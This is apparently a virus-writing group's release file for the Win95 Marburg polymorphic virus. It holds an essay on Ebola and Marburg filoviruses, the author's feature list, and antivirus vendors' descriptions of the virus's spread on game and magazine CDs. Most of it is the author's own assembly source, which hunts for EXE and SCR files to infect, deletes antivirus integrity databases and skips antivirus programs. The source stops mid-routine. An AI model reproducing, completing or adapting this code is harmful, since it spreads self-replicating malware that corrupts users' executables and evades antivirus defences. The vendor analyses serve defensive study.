
	Marburg virus - BioCoded by GriYo / 29A
	---------------------------------------



	
	Index:
	------

	1 - About the biological version
	2 - Author's description
	3 - Description from Datafellows
	4 - Description from AVP
	5 - Description from DrSolomon
	6 - Marburg source code




	1 - About the biological version
	--------------------------------

	1967: Marburg/Frankfurt, Germany.

	Laboratory  workers preparing  primary  cell cultures  from  African
green monkeys resulted in  an outbreak of a previously unrecognised disease.
Highly  infectious: 31 cases, 7 deaths.

	1976: 

	Outbreak of  a previously unrecognised  haemorrhagic  fever in Zaire 
and Sudan 'Ebola disease': 500 diagnosed cases,  460 deaths.

	Ebola  virus, a member of the Filoviridae, burst from obscurity with
spectacular   outbreaks  of  severe,  haemorrhagic  fever.  It   was   first
associated  with an outbreak of  318 cases and a case-fatality  rate of  90%
in Zaire and caused  150 deaths among  250 cases in Sudan. Smaller outbreaks
continue to  appear periodically, particularly in East, Central and southern
Africa. In 1989, a haemorrhagic  disease  was  recognized  among  cynomolgus 
macaques  imported into the United States from  the  Philippines. Strains of
Ebola virus  were isolated from  these  monkeys. Serologic  studies  in  the
Philippines and elsewhere in Southeast Asia indicated that  Ebola virus is a 
prevalent cause of infection among macaques.

These  threadlike   polymorphic  viruses  are  highly   variable  in  length 
apparently  owing  to  concatemerization. However,  the average length of an 
infectious  virion appears to be  920 nm.  The virions are 80 nm in diameter 
with  a  helical nucleocapsid,  a membrane made of  10 nm  projections,  and 
host cell membrane.  They  contain  a  unique  single-stranded  molecule  of 
noninfectious   (negative sense)   RNA.   The   virus   is   composed  of  7 
polypeptides,  a   nucleoprotein,  a glycoprotein,  a polymerase and 4 other 
undesignated  proteins.   Proteins   are   produced   from    polyadenylated  
monocistronic  mRNA  species transcribed from virus RNA.  The replication in 
and  destruction  of  the  host cell is rapid and produces a large number of 
viruses  budding from the cell membrane.

Epidemics  have resulted  from  person  to  person  transmission, nosocomial 
spread  or  laboratory  infections. The mode  of primary infection  and  the
natural  ecology  of these viruses are unknown.  Association  with bats  has 
been implicated  directly in at least 2 episodes  when  individuals  entered
the  same  bat-filled  cave in  Eastern Kenya.  Ebola infections in Sudan in  
1976 and 1979  occurred in workers  of a cotton factory containing thousands
of bats in the roof.  However, in all instances, study  of antibody in  bats
failed to detect evidence  of infection,  and no virus was isolated from bat
tissue.

The  index  case  in  1976  was  never  identified, but  this large outbreak
resulted in  280 deaths  of  318 infections.  The outbreak was primarily the 
result  of person to person spread and transmission by contaminated  needles 
in  outpatient  and  inpatient  departments  of  a hospital  and  subsequent 
person to person  spread in  surrounding villages. In  serosurveys in Zaire,
antibody prevalence to  Ebola virus has been 3 to 7%.  The incubation period 
for  needle-transmitted Ebola virus  is  5 to 7  days and that for person to 
person transmitted disease is 6 to 12 days.

The  virus  spreads  through  the  blood and  is  replicated in many organs.
The  histopathologic  change  is  focal necrosis  in these organs, including 
the liver,  lymphatic organs,  kidneys,  ovaries  and  testes.  The  central  
lesions   appear  to   be   those   affecting the vascular   endothelium and
the   platelets. The   resulting manifestations  are bleeding, especially in
the mucosa, abdomen, pericardium and vagina.  Capillary leakage  appears  to
lead  to  loss  of  intravascular  volume,  bleeding,  shock  and  the acute 
respiratory disorder seen in fatal cases. Patients die of intractable shock.
Those  with  severe  illness  often  have  sustained  high  fevers  and  are
delirious, combative and difficult to control.

The  serologic  method  used  in  the  discovery  of  Ebola  was  the direct 
immunofluorescent  assay. The test is  performed on a  monolayer of infected
and  uninfected  cells fixed on a microscopic slide.  IgG-  or  IgM-specific 
immunoglobulin assays are performed.  These tests   may  then  be  confirmed
by using western blot or radioimmunoprecipitation.  Virus  isolation is also 
a highly useful diagnostic  method, and is performed  on suitably  preserved
serum, blood or tissue specimens stored at -70oC or freshly collected.

No specific antiviral therapy presently exists against Ebola virus, nor does
interferon  have  any  effect.  Past  recommendations  for  isolation of the 
patient  in  a  plastic  isolator  have  given  way  to  the  more  moderate 
recommendation  of  strict  barrier  isolation with body fluid  precautions. 
This  presents  no  excess  risk  to  the   hospital  personnel  and  allows 
substantially better patient care, as shown in Table 2.  The major factor in 
nosocomial  transmission  is  the  combination  of  the  unawareness  of the 
possibility  of  the  disease  by  a  worker who is also  inattentive to the 
requirements  of  effective  barrier  nursing.  after diagnosis, the risk of 
nosocomial transmission is small.

The basic method of prevention and control is the  interruption of person to
person spread of the virus. However,  in rural areas,  this may be difficult 
because  families  are  often reluctant  to admit members  to  the  hospital  
because  of  limited  resources  and the  culturally unacceptable separation 
of  sick  or  dying  patients from the  care  of  their  family.  Experience  
with human disease and primate infection suggests that  a vaccine inducing a
strong cell-mediated  response  will  be  necessary for  virus clearance and 
adequate   protection.   Neutralizing   antibodies   are   not  observed  in 
convalescent  patients  nor do they occur in primates inoculated with killed 
vaccine.   A  vaccine  expressing  the  glycoprotein  in  vaccinia  is being 
prepared for laboratory evaluation.

                                    Emerging & Re-emerging Viruses: An Essay
                                                             Alison Jacobson
                                                  Department of Microbiology
                                                     University of Cape Town




	2 - Author's description
	------------------------

	Marburg  is  a  direct action  Win32 executable files infector. Lets 
look at its features in more detail...

	2.1. Infection

	When an infected file is run the virus will look for *.EXE and *.SCR
files  in  current  directory,   as  well  as  WINDOWS  and  WINDOWS  system 
directories.  Marburg use size padding to mark infected files.  Depending on 
the  internal  format of each file the virus sometimes  infects them without 
modifying the entry-point  field in  the file header.  In some files Marburg 
overwrites  the  code  at  its host entry-point with  a block or polymorphic 
code.  This code is used to  hide the  branch to viral code. Marburg infects 
files  by  mapping  them  in  memory.  This allows the virus to speed up its 
infection procedures. 

	2.2. Polymorphism

	The  virus  is   encrypted   under  a  polymorphic  decryptor.   The 
polymorphic  engine  uses  slow mutation  technics  and can generate lots of 
different looking code.

	2.3. Retro

	Some intergrity checksum files deleted on infection.

	2.4. Error-handling

	The  virus startup and infection routines uses estructured exception
handling to prevent  the virus from causing FAULTS  at any time.  This makes 
Marburg a very stable virus.

	2.5. Payload

	A nice graphic payload inside... I think this is a must for viruses
that works under GUI.




	3 - Description from Datafellows
	--------------------------------

	NAME: Marburg
	TYPE: Non-resident EXE -files

	The  Win95/Marburg  virus got widespread circulation in August 1998, 
when it was included on the master CD of the popular  MGM/EA PC CD-ROM  game 
"Wargames". The CD contains one file infected by the Marburg virus:

	\EREG\EREG32.EXE

	MGM -  the publisher of the game  - made  an announcment  on this on 
12th of August, 1998:


	--------
	From: "K.Egan (MGM)" kegan@mgm.com 
	Subject: MGM WarGames Statement 
	Date: Wed, 12 Aug 1998 18:03:39 -0700 

	MGM Interactive  recently learned that its  WarGames PC game shipped 
	with  the   Win32/Marburg.a   virus  contained  in  the   electronic 
	registration  program.  The company is working  as fast as it can to 
	resolve the problem.
	...
	MGM Interactive  is committed  to delivering top quality products to 
	consumers.  This is an  unfortunate  circumstance  and  we sincerely 
	apologize for any convenience this has caused you.
	...
	If  you  have  any  questions  or  if  you  would  like to receive a 
	replacement disc, please contact MGM Interactive.  
	--------


The same  virus also got widespread circulation in August 1998,  when it was
included on the cover CD of the Australian "PC Power Play" magazine. This CD
contains these files infected by the Marburg virus:

	\GAMES\MAX2\MAX2BETA.EXE
	\GAMES\STARTREK\FURYDEMO.EXE

In July 1998,  the Win95/Marburg  virus got yet again widespread circulation
when it  was  included  by accident on the cover CD of the UK-based PC Gamer
Magazine's  July  1998 edition.  The  infected  files  are  on  "CD Gamer 2"
included with the magazine, and are called:

	\UTILS\XEARTH\XEARTH.EXE
	\UTILS\QPAINT\QPAINT.EXE
	\VIDEO\SMACKPLW.EXE

The  SMACKPLW  program  is  automatically  executed if  you watch any of the
preview  videos  from  the  CD. There are localized versions of the PC Gamer
magazine in circulation in addition to the UK edition.

The  Swedish  edition  has  these  files infected instead of the ones listed
above:

	\SHARE\3DJONG\M3DJONGG.EXE
	\PATCHAR\QUAKE2\Q2-315~8.EXE
	\SPEL\KKND2\DIRECTX\DDHELP.EXE

The  Slovenian  edition has  the same infected files as the UK edition.  The
Italian July/August edition is clean.

Marburg is a polymorphic Windows 95/98 virus which contains this text:

	[ Marburg ViRuS BioCoded by GriYo/29A ]

Marburg infects  Win32 EXE and SCR (screen saver) files,  encrypting its own
code  with variable polymorphic encryption layer.  The polymorphic engine of
the virus is advanced.  It encrypts the virus with 8, 16 and 32 bit key with
several  different methods.  The virus uses slow polymorphisism, which means
that it changes the decryptor of itself very slowly.

Marburg deletes integrity databases of several anti-virus products.  It also
avoids infecting many known  anti-virus  product executable files, including
any executable  which has the letter "V" in its name.  This is done to avoid
triggering the self-check of these programs.

Marburg  activates  three months  after  initial  infection.  If an infected
application is executed exactly on  the same hour as the  inital  infection,
the  virus displays  the standard  Windows  error  icon  (red cross in white
circle) in random positions all over the screen.




	4 - Description from AVP
	------------------------

	This is a direct action  (nonmemory resident)  Windows95 polymorphic
virus. It affects  PE EXE  (Portable Executable)  files which it searches in
current, Windows and  System  directories.  Because of bugs the virus is not
able to replicate under Windows NT, so it is Windows95 specific virus.

When an infected file is executed, the virus searches for KERNEL32 routines:
first for GetModuleHandleA and GetProcAddress,  then  for  22 more functions
(see the list below).  While  searching  the  virus  uses method  similar to
"Win32.Cabanas" virus:  while  infecting  a  file  the  virus  scans  file's
imported  table  for  GetModuleHandleA  and  GetProcAddress, and saves these
addresses in virus code.  If there are no  these entries in table, the virus
scans KERNEL32 code.

If  the virus  is not  able to  locate  KERNEL32  functions,  it immediately
returns to the host file.  Otherwise it allocates a block of system  memory,
copies its code to there (that's necessary to run virus polymorphic engine),
then searches for files and infects them.

While infecting a file the virus writes its code to the end of file into the
last section, increasing its length beforehand.  Before saving  its  code to
the  file the virus  encrypts it  by  polymorphic  routine  (the polymorphic
engine  is  very similar  with one that  was found  in  "Win95.HPS"  virus).
Depending  on  file structure the virus also does some tricks  to make virus
detection  and disinfection procedures  more complex:  either replaces entry
point  address in the PE header with its own one  (majority of Win32 viruses
infect files in this way), or saves  JMP_Virus instruction to the file entry
address  and  does  not modifies  it  in  the  PE  header  (in  same  way as
"Win32.Cabanas"  virus does),  or  writes  to the entry point  a polymorphic
junk routine that is followed by JMP_Virus instruction.

Before infecting  the  virus  deletes  anti-virus  data files: ANTI-VIR.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ.  While infecting  the virus checks  file names
and  does  not  infect  files  that  have  'V'  letter  in  name  as well as
anti-viruses PANDA, F-PROT, SCAN.

Depending on the system date  (when infected file is executed in three month
during  the  same hour  as being infected)  the  virus  displays  at  random
selected positions on the screen the standard Windows error icon - red cross
in white circle.

The  virus contains  the text strings  (the first block contains the list of
functions that virus is looking for):

	GetModuleHandleA 
	GetProcAddress 
	CreateFileA 
	CreateFileMappingA 
	MapViewOfFile 
	UnmapViewOfFile 
	CloseHandle 
	FindFirstFileA 
	FindNextFileA 
	FindClose 
	VirtualAlloc 
	GetWindowsDirectoryA 
	GetSystemDirectoryA 
	GetCurrentDirectoryA 
	SetFileAttributesA 
	SetFileTime 
	DeleteFileA 
	GetCurrentProcess 
	WriteProcessMemory 
	LoadLibraryA 
	GetSystemTime 
	GetDC 
	LoadIconA 
	DrawIcon

	[ Marburg ViRuS BioCoded by GriYo/29A ]
	KERNEL32.dll USER32.dll




	5 - Description from DrSolomon
	------------------------------

	Win32/Marburg
	Polymorphic virus
	Infects: Windows-95 executable files 
	         (PE files - "Portable Executable")

	This  highly polymorphic virus infects  Windows-95  executable files
(PE files - "Portable Executable").   When  the  infected  file  is  run  it
searches  for  executable  files  to infect  in the  current  directory, the
Windows  directory  and   the  System directory.   The  virus  does  not  go
memory-resident - instead it is a direct action virus.  The  infected  files
always grow in size.

The sizes of infected files are changed by the the virus  to be divisible by
101 (decimal). It does this to avoid infecting the same file twice.

If  the  virus  comes  across  integrity-checking  databases  (ANTI-VIR.DAT,
CHKLIST.MS, AVP.CRC, IVB.NTZ)  in  the  above  mentioned  subdirectories  it
deletes them.  This is an attempt  to avoid  detection by certain anti-virus
products.

The  virus  does  not  infect  any  files  having  letter  "V"  in the name,
"PAND*.*" , "F-PR*.*" , "SCAN*.*"  (this  is  to  avoid  infecting   certain
anti-virus programs).

The  payload  of the virus  triggers at  a random date and displays an error
icon (a red cross on white circle) on the screen.

Marburg has been seen in the wild, and was accidentally  distributed  on the
cover CD ROM of UK magazine PC Gamer in July 1998.  The virus was written by
Griyo of the Spanish virus-writing gang 29A.





	6 - Marburg source code
	-----------------------

	After some time lost into   Win32  internals  im happy to present my
first attempt at this plattaform. This is a Win95 highly polymorphic direct-
action PE infector.

Greetings to all the people at IRC-Hispano  #virus  and  #hack irc channels.
Special  greetings  goes  this  time to  Jacky Qwerty, this virus wouldnt be
posible without his support.

-------->8 cut here ---------------------------------------------------------

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;
;       Marburg ViRuS  - BioCoded by GriYo / 29A
;
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

                .386P
                locals
                jumps
                .model flat,STDCALL

                ;Include the following files

                include Win32api.inc
                include Useful.inc
                include Mz.inc
                include Pe.inc

                ;Some externals only used on 1st generation

                extrn GetModuleHandleA:NEAR
                extrn GetProcAddress:NEAR
                extrn ExitProcess:NEAR

                ;Some assumptions only valid for 1st generation

mem_size        equ mem_end-Mem_Base            ;Size of virus in memory
inf_size        equ inf_end-Mem_Base            ;Size of virus in files
init_size       equ init_end-Mem_Base           ;Size of init code
base_default    equ 00400000h                   ;Default base address

                ;Current in-build settings

SIZE_PADDING    equ 00000065h
DECRYPTOR_SIZE  equ 00000800h
BUFFER_EP       equ 00000100h

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Fake host used for virus 1st generation
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

_TEXT           segment dword use32 public 'CODE'

host_entry:     ;This code will find the base address of KERNEL32.DLL and
                ;the entry point for GetProcAddress and GetModuleHandle
                ;functions
                ;This part will not be included on future infections
                ;coz its only needed for virus 1st generation

                ;Get KERNEL32 module handle

                push offset szKernel32
                call GetModuleHandleA
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_Kernel32],eax

                ;Get address of GetModuleHandle function

                push offset szGetModuleH
                push eax
                call GetProcAddress
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_GetModuleH],eax

                ;Get address of GetProcAddress function

                push offset szGetProcAddr
                push dword ptr [a_Kernel32]
                call GetProcAddress
                or eax,eax
                jz exit1st_gen
                mov dword ptr [a_GetProcAddr],eax

                ;Execute virus

                mov ebx,base_default
                xor ebp,ebp
                call entry1st_gen

exit1st_gen:    ;Terminate virus launch process

                xor eax,eax
                push eax
                call ExitProcess

_TEXT           ends

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

_DATA           segment dword use32 public 'DATA'
_DATA           ends

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

_BSS            segment dword use32 public 'BSS'
_BSS            ends

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Virus main body
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

virseg          segment dword use32 public 'Marburg'

Mem_Base        equ this byte

virus_entry:    ;Get delta offset and host base address

                call get_delta

init_end        equ this byte

get_delta:      pop ebp
                mov ebx,ebp
                sub ebp,offset get_delta

                ;Get host base address
                ;Generate a SUB ebx,fix_baseaddr instruction

                db 81h,0EBh
fix_baseaddr    dd 00000000h

                ;Prepare return address

                mov eax,ebx

                ;Generate ADD eax,rva_org_eip

                db 05h
rva_org_eip     dd 00000000h

                ;Save host entry-point into stack, we will jump there
                ;later using a RET

                push eax

entry1st_gen:   ;End of virus initialization, at this point:
                ;
                ; ss:[esp] - Host entry-point
                ; ebx      - Base address
                ; ebp      - Delta offset
                ;

                ;Check if we know the GetModuleHandle entry point
                ;If we dont know it try to get KERNEL32 base
                ;address using our own code

                db 0B8h
rva_GetModuleH  dd offset a_GetModuleH-base_default
                or eax,eax
                jz use_our_own_1

                ;Yes, eax is the rva for the function address

                push dword ptr [eax+ebx]
                pop dword ptr [ebp+a_GetModuleH]

                ;Now we know the address of GetModuleHandle,
                ;so use it in order to get KERNEL32.dll
                ;base address
                ;If the function fails try to get KERNEL32 base
                ;address using our own function

                lea eax,dword ptr [ebp+szKernel32]
                push eax

                call dword ptr [ebp+a_GetModuleH]
                or eax,eax
                jnz got_kernel

use_our_own_1:  ;No, grrr, try to get it by ourself

                call my_getkernel
                or eax,eax
                jz err_virus_init

got_kernel:     ;Save KERNEL32 base address for l8r use

                mov dword ptr [ebp+a_Kernel32],eax

                ;Now check if we know the GetProcAddress entry point

                db 0B8h
rva_GetProcAddr dd offset a_GetProcAddr-base_default
                or eax,eax
                jz use_our_own_2

                ;Yes, eax is the rva for the function address

                push dword ptr [eax+ebx]
                pop eax
                jmp short got_getprocaddr

use_our_own_2:  ;Use our own routine to get GetProcAddress entry point

                call my_GetProcAddr

got_getprocaddr:;Save GetProcAddress entry point for l8r use

                mov dword ptr [ebp+a_GetProcAddr],eax

                ;Use GetProcAddress to get the rest of function addresses

                call get_functions
                jecxz err_virus_init

                ;Allocate some memory for the virus

                push PAGE_EXECUTE_READWRITE
                push MEM_RESERVE or MEM_COMMIT
                push mem_size+inf_size
                push 00000000h
                call dword ptr [ebp+a_VirtualAlloc]

                ;Exit if cant find free memory... mmm...

                or eax,eax
                jz err_virus_init

                ;Copy virus to allocated memory

                lea esi,dword ptr [ebp+Mem_Base]
                mov edi,eax
                mov ecx,mem_size
                cld
                rep movsb

                ;Jump to virus code into allocated memory

                add eax,mem_entry-Mem_Base
                jmp eax

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Entry point for resident code
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

mem_entry:      ;From this point we no longer care about host
                ;base address

                call mem_delta
mem_delta:      pop ebp
                sub ebp,offset mem_delta

                ;Get current system time

                lea eax,dword ptr [ebp+my_system_time]
                push eax
                call dword ptr [ebp+a_GetSysTime]

                ;It's time to call our payload routine????

                mov ax,word ptr [ebp+inf_month]
                add ax,0003h
                mov dx,000Ch
                cmp ax,dx
                jbe check_month
                sub ax,dx
check_month:    cmp ax,word ptr [ebp+time_month]
                jne viral_sleep
                mov ax,word ptr [ebp+inf_day]
                cmp ax,word ptr [ebp+time_day]
                jne viral_sleep
                call payload

viral_sleep:    ;Do direct action stuff
                ;The virus will infect files on \WINDOWS, \SYSTEM and
                ;current directory

                ;Try to infect files in current directory

                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                push MAX_PATH
                call dword ptr [ebp+a_GetCurDir]
                or eax,eax
                jz try_windir

                call do_in_dir
                
try_windir:     ;Get windows directory

                push MAX_PATH
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_GetWindowsDir]
                or eax,eax
                jz try_sysdir

                ;Try to infect files in \WINDOWS directory

                call do_in_dir

try_sysdir:     ;Get system directory

                push MAX_PATH
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_GetSystemDir]
                or eax,eax
                jz err_virus_init

                ;Try to infect files in \SYSTEM directory

                call do_in_dir

err_virus_init: ;We have to restore code at host entry-point?

                xor eax,eax
                cmp dword ptr [ebp+insert_size],eax
                je back2host

                ;Get current process

                call dword ptr [ebp+a_GetCurProc]

                ;Restore host entry-point code
                ;Use WriteProcessMemory in order to prevent exceptions
                ;while writing to protected areas

                pop edx
                push edx
                xor ecx,ecx
                push ecx
                push dword ptr [ebp+insert_size]
                lea ecx,dword ptr [ebp+entry_code]
                push ecx
                push edx
                push eax
                call dword ptr [ebp+a_WriteProcMem]

back2host:      ;Back to host

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Infect *.EXE and *.SCR files in specified path
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

do_in_dir:      ;The virus will not infect files in the root directory
                ;directory
                ;
                ;Entry:
                ;
                ;eax - path string size
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Trying to infect files in root directory?

                cmp eax,00000004h
                jb file_not_found

                ;Delete some AV checksum databases

                mov edx,eax
                mov ecx,(end_AV_files-tbl_AV_files)/04h
                lea esi,dword ptr [ebp+tbl_AV_files]
loop_del_AV:    lodsd
                push esi                
                add eax,ebp
                mov esi,eax
                call delete_file
                pop esi
                loop loop_del_AV

                ;Insert *.* into path

                lea esi,dword ptr [ebp+szSearch]
                call copy_szMask

                ;FindFirstFile

                lea eax,dword ptr [ebp+my_FindData]
                push eax
                lea eax,dword ptr [ebp+szWorkDir]
                push eax                
                call dword ptr [ebp+a_FindFirst]
                cmp eax,INVALID_HANDLE_VALUE
                je file_not_found

                ;Save the search handle

                mov dword ptr [ebp+Search_h],eax
                
try_this_file:  ;Check file size

                xor eax,eax
                cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax
                jne cant_open
                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
                jae cant_open

                ;Check if file is already infected

                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                or edx,edx
                jz cant_open

                ;Add filename to path                

                cld
                lea esi,dword ptr [ebp+szWorkDir]
                mov edx,esi
do_path_1:      lodsb
                cmp al,"\"
                jne avoid_path
                mov edx,esi
avoid_path:     or al,al
                jne do_path_1
                lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
                mov edi,edx
do_path_2:      lodsb
                cmp al,"a"
                jb char_is_ok
                sub al,("a"-"A")
char_is_ok:     cmp al,"V"
                je cant_open
                stosb
                or al,al
                jnz do_path_2

                ;The virus does not infect files with V character in their
                ;names as well as the following programs:

                mov eax,dword ptr [edx]

                ;Panda antivirus

                cmp eax,"DNAP"
                je cant_open

                ;Datafellows F-Prot

                cmp eax,"RP-F"
                je cant_open

                ;McAfee Scan

                cmp eax,"NACS"
                je cant_open

                ;Check file extension, allow *.EXE and *.SRC files

                mov eax,dword ptr [edi-00000005h]
                cmp eax,"EXE."
                je target_file
                cmp eax,"RCS."
                jne cant_open

target_file:    ;Open and map file

                call open_map_file
                or eax,eax
                jz cant_open

                ;Check if we can infect this file

                call check_victim
                jecxz bad_host

atach_2host:    ;Infect file

                call infect_file
                jnc search_end
                jmp short cant_open

bad_host:       ;File cant be infected, skip it

                call unmap_close

cant_open:      ;Find next file

                lea eax,dword ptr [ebp+my_FindData]
                push eax
                push dword ptr [ebp+Search_h]
                call dword ptr [ebp+a_FindNext]
                cmp eax,FALSE
                jne try_this_file

search_end:     ;Close Win32 find handle

                push dword ptr [ebp+Search_h]
                call dword ptr [ebp+a_FindClose]

file_not_found: ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Copy search mask into work path
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

copy_szMask:    ;Entry:
                ;
                ;edx - Filename offset in path string
                ;esi - Search mask
                ;
                ;Exit:
                ;
                ;None
                ;

                cld
                lea edi,dword ptr [ebp+edx+szWorkDir]
                mov al,"\"
                stosb
loop_copy_name: lodsb
                stosb
                or al,al
                jnz loop_copy_name
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Delete file in work path
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

delete_file:    ;Entry:
                ;
                ;edx - Filename offset in path string
                ;esi - File to delete
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Add filename to path

                push ecx
                push edx
                call copy_szMask

                ;Reset attributes so we can delete write protected files

                push FILE_ATTRIBUTE_NORMAL
                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_SetFileAttr]

                ;Delete file

                lea eax,dword ptr [ebp+szWorkDir]
                push eax
                call dword ptr [ebp+a_DeleteFile]

                pop edx
                pop ecx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Check if a given file can be infected
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

check_victim:   ;The host must be PE, fit allowed size and import at least
                ;one function from Kernel32
                ;
                ;Entry:
                ;
                ;a_Kernel32 - Base address for kernel32
                ;eax        - Base address for memory mapped file
                ;
                ;Exit:
                ;
                ;ecx - Null if error
                ;eax - Preserved
                ;

                ;Save host base address

                push ebp
                push eax

                ;Set structured exception handler

                call SEH_SetFrame01
                mov esp,dword ptr [esp+00000008h]
err_checkfile:  xor ecx,ecx
                jmp SEH_error01
SEH_SetFrame01: xor edx,edx
                push dword ptr fs:[edx]
                mov dword ptr fs:[edx],esp

                ;Search for Kernel32 Import Module Descriptor, abort
                ;infection if not found

                mov ebx,eax

                ;ebx - Base address of host in memory

                ;Check for MZ signature at base address

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne err_checkfile

                ;Check file address of relocation table

                cmp word ptr [ebx+DH_lfarlc],0040h
                jb err_checkfile

                ;Now go to the pe header and check for the PE signature

                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne err_checkfile

                ;Check machine field in IMAGE_FILE_HEADER
                ;just allow i386 PE files

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne err_checkfile

                ;Now check the characteristics, look if file
                ;is an executable

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz err_checkfile

                ;Avoid DLL's

                test ax,IMAGE_FILE_DLL
                jnz err_checkfile
                        
                ;Get pointer to imports raw data

                mov edx,dword ptr [esi+OH_DataDirectory.        \
                                       DE_Import.               \
                                       DD_VirtualAddress+       \
                                       IMAGE_SIZEOF_FILE_HEADER]

                call RVA2RAW
                jecxz err_checkfile
                mov eax,ecx

next_imd_img:   ;Search for kernel32 through the array of imported
                ;module descriptors

                lea edi,dword ptr [ebp+offset szKernel32]
                mov esi,dword ptr [eax+ID_Name]

                ;Exit if the RVA to dll name doesnt exist
                or esi,esi
                jz err_checkfile

                ;Sub the delta offset

                sub esi,edx

                ;Get absolute address of dll name

                add esi,ebx

                ;Compare names

                mov ecx,00000008h
                push eax

dll_loop:       ;Get character from name into imports

                lodsb

                ;Check if character is in lowercase

                cmp al,"a"
                jb check_char

                ;Convert character to uppercase

                sub al,("a"-"A")

check_char:     ;Compare characters with our KERNEL32 string

                scasb
                jne bad_dll

                loop dll_loop

verify_ok:      ;Name matched, get import module descriptor

                pop edi

                ;Mutate RVAs

                call mutate_rvas

                ;Avoid files with IMAGE_SCN_MEM_SHARED in its
                ;last section attributes

                call get_last_sh
                test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_SHARED
                jnz err_checkfile

                ;Set ecx != NULL (success flag)

                xor ecx,ecx
                not ecx

SEH_error01:    ;Remove structured exception handler

                xor edx,edx
                pop dword ptr fs:[edx]
                pop edx

                ;Error, restore base address

                pop eax
                pop ebp
                ret

bad_dll:        ;Go to next imported module descriptor

                pop eax
                add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
                jmp short next_imd_img


;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Find the place where PE saves some useful information
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

mutate_rvas:    ;Generate a copy of the virus into a buffer
                ;This copy will contain some RVAs already
                ;loaded (GetModuleHandle, GetProcAddress or Kernel32
                ;ID_ForwarderChain field)
                ;
                ;Entry:
                ;
                ;ebx - Base address for file
                ;edx - Section delta offset
                ;edi - Kernel32 Import Module Descriptor
                ;
                ;Exit:
                ;
                ;RVA's loaded into virus body (NULL if function not found)
                ;

                ;Copy virus to infection buffer

                push edi
                lea esi,dword ptr [ebp+Mem_Base]
                lea edi,dword ptr [esi+mem_size]
                mov ecx,inf_size-DECRYPTOR_SIZE
                cld
                rep movsb
                pop edi

                ;Save rva to ID_ForwarderChain field

                lea eax,dword ptr [edi+ID_ForwarderChain]
                sub eax,ebx
                add eax,edx
                mov dword ptr [ebp+rva_kernel32+mem_size],eax

                ;Check if file is binded

                mov eax,dword ptr [ebp+a_Kernel32]
